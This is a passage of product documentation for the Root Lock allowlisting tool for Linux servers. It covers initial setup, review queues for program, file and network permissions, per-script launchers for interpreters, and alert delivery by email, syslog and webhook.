Root Lock reads the startup and shutdown logs, adds the programs it finds to the allowlist, and reboots. This repeats until no new programs are found — typically three to five passes, depending on the distribution.

While initial setup is running, you will see:

• Over SSH: each time you reconnect, the login shows a brief status line and drops you at a regular shell — no action needed:

  HeartSuite initial setup is running — step N.
  The system reboots automatically. Reconnect in a few minutes.
  

• On the serial console (virsh console, AWS EC2 Serial Console or Get system log, Linode LISH, Azure Serial Console, GCP serial, Hetzner console, etc.): attach and press Enter — the console autologs in as root and shows the current step or banner. No action needed. To inspect logs: cat /var/log/heartsuite/install.log (installer) or cat /var/log/heartsuite/initial-setup-latest.log.

The first time you connect and the Dashboard appears, initial setup is complete. The Dashboard shows the reboot history.

Leave the host quiet

After the first reboot into the Root Lock kernel, leave the machine alone until the Dashboard appears. Each SSH reconnect shows a status line and a shell. Root Lock is still adding startup and shutdown programs from those boots.

What already landed on the allowlist

When the Dashboard appears, Root Lock has already added the programs that executed at boot and shutdown. The Dashboard checklist starts at Program Allowlisting. In Setup Mode, Root Lock then logs the rest of the workload.

Package-install helpers, compilers, and one-shot probes that executed during those unattended boots are already allowlist entries even if they never execute again.

Run the services you will keep

Start the services this host will keep. Do not run throwaway tests, compilers, or extra shells. In the review queues, approve programs that belong on this host. Dismiss the one-shots as approving them grants them under Lockdown. Allowlisting Basics covers approve and skip.

Setup Mode after the Dashboard is for that kept workload. After Lockdown, add software through Protecting During Maintenance.

Cloud leftovers

On Cloud Path, Root Lock already finished initial setup during image preparation. First-boot leftovers (cloud-init, provisioning helpers) may still appear in the queues. Do not approve them if they are not runtime.

Cloud images often ship a first-boot SSH policy that allows password login so you can reach the guest. After first boot, running sshd is typically key-only. Check the live sshd configuration, for leftover cloud-init snippets.

If the Dashboard does not appear

If initial setup is still running, SSH reconnects show the status line above instead of the Dashboard. Wait a few minutes and reconnect.

If repeated reconnects still show the status line rather than the Dashboard:

1. Open the serial console (virsh console, AWS EC2 Serial Console / Get system log, Linode LISH, etc.) and press Enter. Run these to inspect:

   journalctl -t heartsuite
   cat /var/log/heartsuite/install.log          # installer log
   cat /var/log/heartsuite/initial-setup-latest.log   # or ls /var/log/heartsuite/ for step logs
   

2. Verify the Root Lock kernel is loaded:

   uname -r
   

   Expected output ends in HeartSuite.

3. If the wrong kernel booted, reboot and select the Root Lock kernel from the GRUB menu manually (requires serial console access on cloud).

If the issue persists, contact HeartSuite support at support@heartsecsuite.com and include /var/log/heartsuite/install.log and /var/log/heartsuite/initial-setup-latest.log — we’re happy to help.

If setup stops with an error

If something goes wrong during setup, the next login (SSH or serial console) shows an error with the reason and log location.

Two options are available:

• [r] Retry — restarts the setup from where it stopped.
• [q] Open shell — drops you to a shell to investigate before retrying. On the serial console, cat /var/log/heartsuite/install.log or cat /var/log/heartsuite/initial-setup-latest.log. AWS Get system log is a serial buffer, not CloudWatch. CloudWatch needs the platform agent plus IAM; Root Lock does not install it.

If retry does not clear the error, contact HeartSuite support at support@heartsecsuite.com and include the log path shown on the error screen — we’re happy to help.

When the Dashboard appears and initial setup is complete, continue to Verifying Installation.

4 - Confirm the Root Lock kernel is actually running

Overview: Initial setup confirms that Root Lock by HeartSuite is active and the machine is ready for allowlisting. Auto-added allowlist entries are the programs that executed at boot and shutdown; the queues hold the rest. Installer and initial setup logs are in /var/log/heartsuite/ and accessible via provider serial console (AWS, Linode, Hetzner, and others).

What complete looks like

The Dashboard shows the same state on a fleet host after Cloud Path or Local Path initial setup. Applying allowlists across many hosts is Central Policy.

What the Dashboard shows

When initial setup is complete, the Dashboard confirms:

• Protection state (indicator at the top): Shows SETUP MODE: Root Lock is active, logging only, nothing blocked
• Checklist: Starts at Program Allowlisting (initial setup is already done; it is not a Dashboard row)
• Status line at the bottom: Shows the kernel indicator (“Root Lock” or “maintenance kernel”), current mode, time in mode, and lockdown status
• Suggested Next Step: Directs you to begin program allowlisting

What is already on the allowlist

When initial setup is complete, the auto-added entries are the programs that executed at boot and shutdown. The review queues hold the rest. Do not approve one-shot tests you do, install helpers you run, or other programs you will not keep. Allowlisting Basics covers approve and skip.

After Lockdown, add software through Protecting During Maintenance.

Protection state

The protection state indicator appears as a full-width, high-contrast bar at the top of the Dashboard. Its content depends on the current system state:

Status line at the bottom

Below the protection state indicator, a status line shows:

Root Lock    Setup Mode active for 3d 7h: logging only, nothing is blocked

• Kernel indicator: “Root Lock” (when the Root Lock kernel is active) or “maintenance kernel” (when booted to the recovery kernel with no Root Lock loaded)
• Mode: Setup Mode or Lockdown, with time in current mode
• Lockdown: — (Setup Mode), Not applied (Lockdown without immutable seal), or Applied (Lockdown with immutable seal)

What to do if verification fails

If initial setup does not complete, or the indicator at the top shows a state you did not expect (for example, “maintenance kernel” when you intended to boot Root Lock):

1. Check the status line at the bottom of the Dashboard. It shows the kernel indicator (“Root Lock” or “maintenance kernel”). If it shows the maintenance kernel, reboot and select the Root Lock kernel from the GRUB menu.

2. Check that the Root Lock systemd service is running:

   systemctl status heartsuite
   

3. For local installations, the Dashboard appears only after unattended initial setup finishes. If it has not appeared, check /var/log/heartsuite/install.log on the serial console. There is no System Setup screen.

4. If the Dashboard shows “UNKNOWN STATE: protection status cannot be determined”, follow the Suggested Next Step displayed on the Dashboard.

5. If the issue persists, contact support at support@heartsecsuite.com.

dmesg | grep HEARTSUITE

With initial setup confirmed, follow the Dashboard’s Suggested Next Step to begin program allowlisting.

5 - Approve what each program may do

Overview: By default, any program on a Linux server can execute, access any file, and connect to any destination. Root Lock by HeartSuite controls all three per program — not per user.

Two different programs running under the same user get separate allowlist entries with separate permissions. The Dashboard guides you through each approval and tracks your progress.

The Dashboard Lockdown Checklist shows three review queues, then Secure Script Launchers as a separate row (not a queue):

1. Program Allowlisting ([p]): Approve which programs may execute.
2. File Access Allowlisting ([f]): Approve which files and directories each program can read or write.
3. Internet Access Allowlisting ([i]): Approve which outbound internet destinations each program can reach.
4. Secure Script Launchers ([s]): Give each Python, Perl, or PHP script its own allowlist entry. See Script Launchers.

Start from the Dashboard — it shows how many items are waiting in each queue and the Suggested Next Step directs you to whichever needs attention. The review queues manage volume through intelligent grouping. There is no Approve All.

In this section

• Allowlisting Basics — Core procedures for reviewing and approving programs, file access, and network connections.
• Batch Allowlisting Tools — Activity log format and CLI tools for scripted allowlisting workflows.

5.1 - Review queues: programs, files, network

Overview: A program running without restrictions on a server can read any file, write anywhere, and connect to any destination. Root Lock by HeartSuite requires every program to be approved to execute, to access files, and to make network connections — each independently.

Even a legitimate tool already on your allowlist — curl, python, a system utility — can only reach the files and network destinations its allowlist entry approves. The Dashboard review queues walk you through each approval.

The three review queues

In Setup Mode, Root Lock logs every program execution, file access, and outbound network connection without blocking anything. These populate three review queues visible from the Dashboard:

• Programs queue ([p]) — programs that executed without an allowlist entry
• File Access queue ([f]) — programs that already have an allowlist entry and read or wrote files not yet granted
• Internet Access queue ([i]) — programs that already have an allowlist entry and reached destinations not yet granted

The Dashboard shows pending counts for each queue and provides a Suggested Next Step. When Programs is empty, that screen suggests File Access ([f]). After you return to the Dashboard, the Suggested Next Step opens Secure Script Launchers ([s]) if interpreters are pending, otherwise the next queue that still has items.

The three queues are independent lists. Suggested Next Step prefers Programs when that count is non-zero, then Secure Script Launchers, then File Access, then Internet Access — that is suggestion order, not a lock. [p], [f], and [i] stay on the Dashboard; you can open Internet Access while Programs still has pending items.

Programs that already have an allowlist entry (from initial setup, install grants, a previous approve, or [p]) can appear in File Access and Internet Access as soon as they read a file or reach an address that is not yet approved. A binary with no allowlist entry yet is listed under Programs. Its file reads and connections are not listed until it has an entry and runs again.

Working through a queue

Starting a review

The Dashboard displays pending counts for each queue. The Suggested Next Step directs you to the queue that needs attention first. Select a queue to begin reviewing.

Single-key actions

The footer shows the primary actions available at any point:

Two additional keys appear contextually, not in the footer:

When to skip

Do not approve a program that executed only to install, compile, or probe and will not execute in production. Approving it grants that program under Lockdown. Press [s] Skip for now to defer the item without granting it.

Metadata shown in review

Every review item displays metadata directly in the primary prompt — you do not need to press a key to see it. The fields shown include:

When a program has no entry in any package database, Root Lock displays the raw file path with “(no package)” in the metadata fields. Missing metadata is never hidden — the absence of information is itself a signal.

Individual and grouped review

The review queues handle large volumes without requiring blind bulk approval. Volume is managed through intelligent grouping, not through approving things you cannot see.

Individual review

Each item is presented one at a time with full metadata. Example for a program execution:

/usr/bin/nano executed during Setup Mode.
Package:     nano 7.2-1 -- small, friendly text editor
Attempts:    3

This program has not been allowlisted.

[a] Approve execution
[s] Skip for now
[?] What does approving this mean?

Grouped review

Related items are grouped together (e.g., “847 file reads from /usr/lib/python3/”). Root Lock shows a sample of the grouped items so you can confirm the grouping makes sense before approving.

Queue summary

When the volume of remaining items is large, Root Lock presents a summary of what is ahead — total counts and a breakdown by program — before you begin reviewing. This is an orientation view, not an approval surface. Press [a] or [Enter] to proceed into individual review.

Programs queue

When a program executes without an allowlist entry, Root Lock logs it. The Programs queue presents it for review.

What the groups mean

Programs are grouped into sections in the program list on the left. These groups determine the order items appear, placing items that need the most investigation first:

The sort order is a workflow convenience that determines which programs appear first. It is not a trust ranking and does not affect the approval mechanism. Every program receives the same approve and skip options.

From the Dashboard, select the Programs queue ([p]). Each program is presented with its package metadata. Press [a] to approve execution or [s] to skip.

python3 is one program

Approving /usr/bin/python3 grants the interpreter. Scripts that interpreter executed do not each become a separate program. Per-script grants start at Secure Script Launchers.

File Access queue

Once you approve a program’s execution, Root Lock begins logging every file it accesses. Programs typically access shared libraries, configuration files, and data files. The File Access queue presents them with two distinct permission levels:

• Read access — the default first approval level when approving a file read.
• Write access — always includes read access. Granted when approving a file write.

Example review prompt for a file read:

/usr/bin/python3 read during Setup Mode:
/usr/lib/python3/dist-packages/apt/__init__.py
Program:     python3 3.11.2-1 -- interactive high-level object-oriented language
File owner:  python3-apt 2.6.0
Attempts:    12

This file access has not been allowlisted.

[a] Approve read access
[s] Skip for now
[?] What does approving this mean?

Example review prompt for a file write:

/usr/bin/journald wrote during Setup Mode:
/var/log/journal/machine-id/system.journal
Program:     systemd 252-19 -- system and service manager
File owner:  systemd 252-19
Attempts:    3

This file access has not been allowlisted.

[a] Approve read and write access
[s] Skip for now
[?] What does approving this mean?

From the Dashboard, select the File Access queue ([f]).

Do not approve directory grants for install-time trees — package-manager caches, build directories, and similar — unless that program needs those paths at runtime.

Internet Access queue

Programs that make outbound internet connections are logged with the destination IP address and reverse DNS hostname. The Internet Access queue presents these for review.

Example review prompt:

Network: reviewing 1 of 2

curl connected to 3 addresses during Setup Mode  (3 total connections)

Approving grants curl network access to these destinations.

[a] Approve network access
[s] Skip for now
[?] What does approving this mean?

── Destinations (3) ──
  8.8.8.8 (dns.google)                         ×1
  1.1.1.1 (one.one.one.one)                    ×1
  142.250.74.46 (lga34s32-in-f14.1e100.net)    ×1

From the Dashboard, select the Internet Access queue ([i]).

Progress and completion

While working through a queue, a progress indicator shows your position:

Programs: reviewing 3 of 7  ───────────────────────────────

When a queue is empty:

All Programs events reviewed.
Suggested: Review pending File Access events

Allow several days to a week of observation in Setup Mode so systemd timers, cron jobs, and infrequent services appear in the queues before you activate Lockdown.

Software you add after Lockdown goes through Protecting During Maintenance.

Review queues in Lockdown

In Lockdown the review queues are read-only. [a] and [s] do nothing — you cannot approve items while in Lockdown. The queues show denied items (actions Root Lock blocked), not pending items awaiting approval.

Use [n] to navigate through denied items one by one. To approve a denied program, file access, or network destination, enter a maintenance period first via the Maintenance ([m]) — this switches to Setup Mode where the review queues become interactive again.

CLI access for scripting and automation

For scripting and automation workflows that run without the Dashboard, /.hs/sys/hs-app-perm-orders-manager browses and edits existing allowlist entries (/.hs/sys is not on PATH). See its built-in help:

# /.hs/sys/hs-app-perm-orders-manager --help

The Dashboard is the supported path for normal use.

After you return to the Dashboard with Programs empty, the Suggested Next Step directs you to Secure Script Launchers ([s]) if interpreters are pending — or to File Access ([f]) if launchers are complete or not applicable. The Lockdown Checklist tracks the remaining rows and always shows what needs attention next.

5.2 - Allowlist many hosts without the TUI

Overview: The Dashboard review queues handle allowlisting for routine setup — grouped review, metadata enrichment, and intelligent grouping cover most workflows. The tools below are for scripted deployments and direct allowlist management where CLI access is required.

These CLI tools are the integration points for external control. Central automation — Ansible playbooks, Terraform provisioners, GitOps pipelines, ServiceNow flows, Puppet, or custom scripts — prepares policy data and invokes the tools on each host to apply or harvest allowlists.

See Central Policy Management and External Control for patterns and examples.

The official heartsecurity.root_lock role (narrow post-install declarative management) is the preferred Ansible path for Root Lock-specific concerns. It is commonly composed inside larger provisioning playbooks that also handle OS hardening (e.g. dev-sec collection), installation, and host services.

When to use these tools: after Root Lock is installed and initial setup is complete, for additive program lists (stack extras, fleet reuse, role-scoped bootstrap). They are not the install-time allowlist baseline path.

For dense fleets, seed the installer first (harvest the allowlist from a reference host, package with pre-seed such as --apo-seed, then Ansible installs that package) — see Central Policy Management. Do not use a full text dump here to skip multi-hour initial setup; that requires install-time pre-seed, not batch_record_add.py.

batch_record_add.py

batch_record_add.py creates allowlist entries in bulk from a plain text file of program paths — one absolute path per line. For each path, it adds the program with /usr/lib and /etc as default allowed directories. This tool is located in /.hs/sys/ and requires root:

# /.hs/sys/batch_record_add.py <file>

Where <file> contains one absolute program path per line, for example:

/usr/bin/nano
/usr/bin/curl
/usr/bin/wget

hs-app-perm-orders-manager

/.hs/sys/hs-app-perm-orders-manager browses and edits existing allowlist entries (/.hs/sys is not on PATH). It is not a review tool — it operates on entries that have already been created. Use it to inspect, modify, or remove existing entries. list is the usual harvest command when a reference host’s reviewed programs should feed a central text seed for other hosts:

# /.hs/sys/hs-app-perm-orders-manager --help

Both tools require root. Run them from a root shell:

# sudo -s

Exit with Ctrl-D when finished.

6 - Python should not inherit every script's rights

Overview: Without Secure Script Launchers, every Python, Perl, or PHP script would share the interpreter’s permissions — if python3 is allowed to access the network, every Python script can access the network. Secure Script Launchers solve this by giving each script its own allowlist entry, so you control exactly what each script can do. The Dashboard presents this when script interpreters are detected on the system.

In this section

• Each script gets its own allowlist — Why allowlisting the interpreter is not enough, and how Secure Script Launchers split permissions per script.
• Configuring Script Launchers — Direct use for testing and permanent symbolic link setups.
• Included Script Launchers — List of available launchers for Python, Perl, PHP, etc.

Secure Script Launchers is row 4 on the Lockdown Checklist. The Suggested Next Step stays on Launchers ([s]) while interpreters are pending. Skipping activation does not mark the row complete. Once launchers are activated, or the row is not applicable, the Suggested Next Step goes to File Access ([f]) if that queue still has items — see Allowlisting Basics.

6.1 - One interpreter, many script allowlists

Overview: Without Secure Script Launchers, every script run by an interpreter (Python, Perl, PHP) shares the interpreter’s permissions. If python3 is allowed to access the network, every Python script inherits that access. Secure Script Launchers solve this by giving each script its own allowlist entry.

Why allowlisting the interpreter is not enough

Interpreter programs (Python, PHP, Perl, Bash) execute code from files. When you allowlist python3, you grant permissions to the interpreter — and every script it runs inherits those permissions. A malicious Python script would have the same file and network access as your legitimate scripts.

graph LR
    subgraph without["Without launcher — interpreter is the unit of control"]
        P["python3\none allowlist entry"] --> SA["script_a.py"]
        P --> SB["script_b.py"]
        SA --> PA["network ✓  files ✓"]
        SB --> PB["network ✓  files ✓"]
    end

    subgraph with["With Secure Script Launcher — each script is the unit of control"]
        L["hs-python-launcher"] --> SA2["script_a.py\nown allowlist entry"]
        L --> SB2["script_b.py\nown allowlist entry"]
        SA2 --> PA2["network ✓"]
        SB2 --> PB2["no network ✗"]
    end

    style P fill:#fdd,stroke:#c44
    style SA fill:#fdd,stroke:#c44
    style SB fill:#fdd,stroke:#c44
    style PA fill:#fdd,stroke:#c44
    style PB fill:#fdd,stroke:#c44
    style L fill:#d4f4dd,stroke:#2a7a40
    style SA2 fill:#d4f4dd,stroke:#2a7a40
    style SB2 fill:#d4f4dd,stroke:#2a7a40
    style PA2 fill:#d4f4dd,stroke:#2a7a40
    style PB2 fill:#d4f4dd,stroke:#2a7a40

Per-script allowlist entries

Secure Script Launchers create a wrapper that applies the individual script’s allowlist entry instead of the interpreter’s:

• Each script is treated like a standalone program with its own permissions
• One script can have network access while another cannot
• Interpreters can be blocked entirely — only allowlisted scripts run

Using launchers

Root Lock by HeartSuite provides Secure Script Launchers for each supported interpreter (e.g., hs-python-launcher). Once activated via the Dashboard’s Launchers ([s]), every call to that interpreter automatically routes through the launcher — applying per-script permissions without any change to how you run scripts.

See Configuring Script Launchers for the activation steps.

6.2 - Turn on per-script allowlisting

Overview: An interpreter like Python, Perl, or PHP executes many different scripts — without additional control, a single allowlist entry for the interpreter applies to all of them equally. Secure Script Launchers identify the specific script being executed and apply a separate allowlist entry for it, giving each script its own file and network permissions. The Launchers ([s]) shows detected interpreters and activates launchers in one step.

Activating launchers

From the Dashboard, select Launchers ([s]). The Dashboard shows two sections:

• Script Launcher Status — how many interpreters were detected and how many launchers are pending activation
• Detected Interpreters — the list of interpreter paths found in the activity log, with their current launcher status

When launchers are pending, the Dashboard shows:

2 interpreter(s) found across 47 log event(s).
2 launcher(s) available but not yet activated.

[a] Activate   [s] Skip

Press [a] to activate all pending launchers at once. Root Lock by HeartSuite registers each interpreter with its Secure Script Launcher — from this point forward, every call to that interpreter automatically routes through the launcher, applying per-script permissions.

After activation, the Dashboard confirms which launchers were activated:

Activated 2 Secure Script Launcher(s): python3, perl.
Each interpreter now routes through its launcher. Scripts using
these interpreters will be reviewed on their own permission terms.

Press [q] to return to the Dashboard. The Lockdown Checklist marks 4. Secure Script Launchers complete.

If no script interpreters are detected

If none of the known interpreters have appeared in the activity log yet, the Dashboard shows:

No script interpreter log events detected.
None of the known interpreters have appeared in the activity log yet.

Proceed without activating launchers.

Secure Script Launchers is not required if your system does not use script interpreters. The checklist row then reads Not applicable.

Skipping launcher setup

Press [s] to skip without activating. Root Lock notifies you:

Skipped. Interpreters without a Secure Script Launcher
activated will be blocked under Lockdown.

Skip does not mark the checklist row complete. The Suggested Next Step stays on Launchers ([s]) while interpreters are still pending. You can return to Launchers at any time to activate them before Lockdown.

Testing a launcher directly

Before or after Dashboard activation, you can run a script through a specific launcher directly to verify it works under its own permissions:

# hs-python-launcher /path/to/your-script.py

This applies the script’s allowlist entry rather than the interpreter’s. Running the same script with python3 directly uses the interpreter’s broader permissions. This is useful for verifying per-script permissions in isolation before relying on them in Lockdown.

After activating launchers, return to the Dashboard. The Suggested Next Step directs you to file access allowlisting via the File Access queue ([f]) if that queue still has items.

6.3 - Which script launchers ship in the box

Overview: Root Lock by HeartSuite ships with Secure Script Launchers for common interpreters. The Dashboard presents these when the corresponding interpreters are detected on the system.

Available launchers

• Python 3 (hs-python-launcher)
• Python 2 (hs-python2-launcher)
• Perl (hs-perl-launcher)
• PHP (hs-php-launcher)

For questions about launcher support for other interpreters, contact support@heartsecsuite.com.

7 - Each program gets its own internet destinations

Overview: Programs make outbound connections you never approved (telemetry, update beacons, C2 callbacks). Root Lock by HeartSuite requires an allowlist entry for every outbound destination — per program, at the kernel.

In Lockdown, no program can connect to any destination unless you have approved it. The Dashboard’s Internet Access queue ([i]) guides you through reviewing and approving destinations for each program.

Per-program, per-destination enforcement

In Setup Mode, Root Lock logs every outbound connection without blocking it. Those connections appear in the Dashboard’s Internet Access queue. In Lockdown, any connection to a destination not on the allowlist is blocked and an alert is generated.

Network permissions are per-program and per-destination. Approving 93.184.216.34 for curl does not allow wget to connect to the same address; each program must have its own approved destinations. Root Lock approves specific IPv4 and IPv6 addresses, not CIDR ranges, hostnames, or wildcards.

Using the Internet Access queue

From the Dashboard, select the Internet Access queue ([i]). The review panel header says Network. Each program already on the allowlist is one item, with every destination it reached listed together:

• Program: path and package metadata when the distro database has an entry
• Destinations: each literal IP, with a hostname or CDN label when one resolved — for example 8.8.8.8 (dns.google) or 151.101.0.223 (files.pythonhosted.org, Fastly CDN). Unresolved addresses show as the bare IP. There is no country field.
• Counts: ×N next to each address, plus a total in the header

Example review prompt:

Network: reviewing 1 of 2

curl connected to 3 addresses during Setup Mode  (3 total connections)

Approving grants curl network access to these destinations.

[a] Approve network access
[s] Skip for now
[?] What does approving this mean?

── Destinations (3) ──
  8.8.8.8 (dns.google)                         ×1
  1.1.1.1 (one.one.one.one)                    ×1
  142.250.74.46 (lga34s32-in-f14.1e100.net)    ×1

Press [a] to approve every listed address for that program, or [s] to skip it for later.

When the Internet Access queue is empty, the Lockdown Checklist marks 3. Internet Access Allowlisting complete and updates the Suggested Next Step.

Approving a network destination

Suppose wget is on the program allowlist but no network destinations have been approved. Running:

# wget https://example.com/agreement.html

Root Lock logs the connection. It appears in the Internet Access queue as a destination such as 93.184.216.34 (example.com). After you approve it, the same wget command does not generate another entry for that IP address. A later connection to a different IP for the same hostname is a new destination.

Reviewing existing network permissions

To browse or edit destinations that have already been approved, select Allowed ([a]) from the Dashboard. Entries are grouped as Uninstalled, Programs, File access, Internet Access, and Root Lock. A program with approved destinations appears under Internet Access.

CLI access for scripting and automation

For scripting without the Dashboard, the allowlist manager is /.hs/sys/hs-app-perm-orders-manager (/.hs/sys is not on PATH):

# /.hs/sys/hs-app-perm-orders-manager add -x /usr/bin/wget -n 93.184.216.34

Or look up the record number first:

# /.hs/sys/hs-app-perm-orders-manager list | grep wget
277
/usr/bin/wget
# /.hs/sys/hs-app-perm-orders-manager add -r 277 -n 192.0.2.10

The Dashboard is the supported path for normal use.

For general allowlisting concepts (program execution, file access, write permissions), see Allowlisting Basics.

When the Internet Access queue is empty, the Suggested Next Step goes to Alert Settings ([e]) if alerts are not configured yet — or to Lockdown ([l]) if they already are. Backup ([b]) can appear before Lockdown when backup is not configured.

Inbound connections and remote login

Root Lock manages outbound connections only. Inbound filtering (which ports are reachable, port scans, who may connect) is outside its scope. Use an OS packet filter, cloud provider security groups, or Root Lock Firewall when you move the workload onto that Firewall appliance image and want inbound and this-host path observed and sealed.

To log in over SSH, approve the SSH server to execute and to read the files it needs. Adding the addresses you connect from to Internet Access does not grant inbound access — that queue is outbound destinations only.

Root Lock still lets you close, open, and restrict SSH on its own surfaces. Lockdown offers Harden SSH ([h]) when an authorized key is already present (key-only login, direct root login off), inbound permits ([o] / [a]) for source addresses, and [r] / [j] for whether sshd stays up under Lockdown. Maintenance can take the network down (console only), keep a restricted SSH route, or leave SSH open, including a source-IP limit. sshd itself, an OS packet filter, and cloud security groups still apply. See Lockdown and Protecting During Maintenance.

8 - Alerts when Lockdown blocks something

Overview: In Lockdown, Root Lock by HeartSuite blocks any execution, file access, or network connection not on the allowlist — whether or not anyone is connected to the Dashboard. Without alerts, a blocked program fails silently.

Alerts notify you of these blocks and of state changes the moment they happen. On a stable host with a complete allowlist, alerts are rare — most weeks you receive none at all. An alert means something unexpected happened.

For fleet and enterprise scale

Single-host setup is on this page (Dashboard → Alerts). For production fleets and compliance programs, use the dedicated guides:

• SIEM and Fleet Integration — Syslog, webhook, and status JSON for Splunk, Elastic, PagerDuty, and similar tools. The recommended path when you manage many servers without per-host TUI toil.
• Central Policy Management and External Control — Drive allowlist policy from Ansible, Terraform, ServiceNow, GitOps, and custom automation; consume syslog, JSONL approval logs, status.json, and webhooks for central visibility.

When alerts fire

Alerts are a push channel for blocks and state changes that warrant immediate attention. They are not a replacement for the Dashboard.

By default, Setup Mode logs without sending alerts — alerting on expected teaching activity would be constant noise. Alerts become active when Lockdown is active. On the Fleet tab, Setup Mode Alerts (Send security alerts while in Setup Mode) sends the same block alerts during Setup Mode. Leave that switch off unless you need those Setup Mode alerts.

Configuring alerts

From the Dashboard, select Alerts ([e]). That opens Alert Settings, which has two tabs: Email and Fleet.

Email tab

Configure SMTP credentials to receive email alerts directly. Fields, in the order they appear:

• Node ID — defaults to the system hostname; set a recognisable identifier (for example prod-web-03) so email subjects identify the source host. The JSON and syslog field is node_id.
• SMTP Host
• SMTP Port (default 587)
• SMTP Login
• Password (masked on entry; never displayed after saving)
• Your email — the recipient address

Save ([s]) requires SMTP Host and Your email. Root Lock validates those fields but does not attempt a live connection at save time. Test ([t]) sends a test email — that is the only moment SMTP connectivity is verified. If the test fails, the Result panel states what went wrong and what to try next. SMTP banners and authentication codes are not shown.

Once configured, the Email Status panel lists the stored values with the password shown as (set). The form stays visible — there is no Edit step. Leave Password blank to keep the stored password. Remove ([r]) deletes the stored SMTP credentials and turns email alerts off. Syslog and webhook are not affected.

Fleet tab

Configure syslog and webhook delivery for fleet and SIEM integrations. Channels are independent — enable any combination.

Setup Mode Alerts — A switch labelled Send security alerts while in Setup Mode. Off by default. When on, previously unseen programs, network bursts, and protected-file modifications alert in Setup Mode as well as Lockdown.

Syslog — A switch labelled Send alerts to /dev/log (LOG_AUTH facility). When enabled, Root Lock writes alerts to the local journal with identifier heartsuite, facility LOG_AUTH, and severity warning. The message text begins with heartsuite-alert:. No syslog server field is on this tab — you forward from the host with rsyslog or a shipper. After you save with syslog on, the Result panel shows an rsyslog forwarding rule example.

Verify syslog delivery with:

journalctl -t heartsuite --since "1 minute ago"

To forward to a SIEM, add an rsyslog output rule in /etc/rsyslog.d/heartsuite.conf:

:programname, isequal, "heartsuite" @@your-siem-host:514

See the rsyslog omfwd forwarding module documentation for forwarding syntax, and your SIEM’s own documentation for the receiving end:

• Splunk — Get data from TCP and UDP ports
• Elastic — Filebeat syslog input

Test Syslog ([t]) writes a test event to the journal.

Webhook — Field label Webhook URL (must be HTTPS). Root Lock POSTs a JSON payload to this URL on every alert. HTTP (non-TLS) URLs are rejected. When the URL contains pagerduty.com, PagerDuty routing key (Events API v2 integration key) appears. When the URL contains opsgenie.com, OpsGenie API key (Authorization: GenieKey …) appears. Other HTTPS URLs receive the generic payload below. Test Webhook ([w]) sends a test POST.

Example generic payload (a Lockdown block):

{
  "node_id":            "prod-web-03",
  "event_type":         "new_program_blocked",
  "timestamp":          "2026-03-31T14:22:00Z",
  "mode":               "Secure Mode",
  "lockdown":           true,
  "tier":               2,
  "paths":              ["/tmp/dropper", "/tmp/payload"],
  "count":              2,
  "message":            "2 previously unseen programs blocked.",
  "subscription":       "Active",
  "total_pending":      2,
  "pending_programs":   2,
  "pending_file_r":     0,
  "pending_file_w":     0,
  "pending_network":    0,
  "enrich_failed":      false
}

tier is 1 when you switch Setup Mode or Lockdown, and for allowlist, backup-coverage, and kernel-module config changes. It is 2 for denied programs, files, and network. mode is the on-disk token ("Setup Mode" or "Secure Mode"). The Dashboard label for "Secure Mode" is Lockdown. lockdown is the separate seal boolean.

To receive this payload, create an integration in your incident management tool and paste the endpoint URL into Webhook URL (must be HTTPS):

• PagerDuty — Events API v2
• OpsGenie — Incoming webhook integration
• Slack — Incoming webhooks

Status JSON — A passive monitoring surface at ~/.cache/heartsuite/status.json, updated every 60 seconds. Ansible, Nagios, and Zabbix can read this file via SSH pull. No Fleet setting turns it on or off — it is written whenever the alert daemon is running. This is read-only; it does not push notifications.

At fleet scale, enable syslog on every node, forward via rsyslog to your SIEM, and alert from the SIEM’s own rule engine. Webhook covers incident management tools (PagerDuty, OpsGenie). Status JSON covers Ansible health checks. Email is for a single host or as a supplementary channel.

For production examples (Filebeat/Elastic, rsyslog forwarding, webhook targets, verification commands) and the scale path for larger teams, see SIEM and Fleet Integration. That page also covers policy and posture data for allowlist tables and drift views in Kibana/Elastic — that export is not a Fleet-tab switch.

To own and apply allowlist policy from Ansible, Terraform, GitOps, ServiceNow, or custom scripts — including pre-seeding, harvest, and consumption of status.json / JSONL approval logs / syslog / webhook — see Central Policy Management and External Control. The Dashboard is the surface for a single host.

When at least one push channel is configured, the Dashboard unlocks Lockdown.

What triggers an alert

Switching Setup Mode and Lockdown

These fire immediately when you switch between Setup Mode and Lockdown — no 5-minute window, no digest. The same immediate path covers allowlist changes while Lockdown is active, backup coverage loss, and kernel-module config changes:

Blocks in Lockdown

These blocks apply a threshold filter. They fire in Lockdown, and also in Setup Mode when Setup Mode Alerts is on:

Not alerted:

• Setup Mode activity while Setup Mode Alerts is off
• Repeated blocks of the same program–destination pair already seen in the current session
• File version activity under /tmp/, /var/tmp/, or /dev/shm/
• Dashboard sessions opened or closed
• Successful allowlist approvals

Email, syslog, and webhook timing

Email — 5-minute accumulation window

Blocks are grouped before delivery. A dropper that installs 40 payloads in 90 seconds produces one email — subject Root Lock — 40 unknown programs blocked — prod-web-03 — not 40 individual messages. Volume and velocity are the attack signal; 40 separate emails fragment that signal into noise.

• The 5-minute window starts on the first block of a given type
• Additional blocks of the same type within that window are added to the pending bundle
• At window close, one email is dispatched covering all accumulated blocks
• Blocks of different types accumulate independently — a network burst does not delay a file modification alert

Digest mode: After 3 block emails in a single hour, further blocks are queued and delivered as one digest email at the hour’s end. Switching Setup Mode or Lockdown is never held — those emails go out immediately, as do the other events in the table above.

The 5-minute window and hourly cap apply to email only. They are fixed, not user-configurable.

Syslog and webhook — immediate

Syslog and webhook emit every alert immediately, without grouping or windowing. SIEM platforms (Splunk, Elastic) and incident management tools (PagerDuty, OpsGenie) apply their own correlation and deduplication — grouping alerts before they reach these systems removes information they need.

If a configured channel is silent in Setup Mode, check Setup Mode Alerts. Off (the default) means that silence is expected, not a misconfiguration.

With at least one push channel configured, the Dashboard unlocks Lockdown. Follow the Suggested Next Step to activate Lockdown.

8.1 - Pipe Lockdown blocks into the SIEM you already run

Overview: Root Lock by HeartSuite integrates with your existing SIEM, EDR, and observability stack via syslog (journald/rsyslog) and webhook. Configure once in Alert Settings → Fleet, and let your central tooling handle monitoring, correlation, and alerting. There is no requirement to run the Dashboard on every host for day-to-day fleet visibility.

Raw denial decisions and higher-level alerts are emitted in real time. Successful allowlisted work is not streamed. Incident tools receive the events you configure them to receive.

Syslog (recommended for SIEM ingestion)

When the Fleet tab Syslog switch is on (Send alerts to /dev/log (LOG_AUTH facility)), every alert and every kernel denial is written to the local journal under identifier heartsuite. Successful allowlisted work is not streamed. Alert message text begins with heartsuite-alert:.

Filebeat / Elastic (or any rsyslog-compatible shipper)
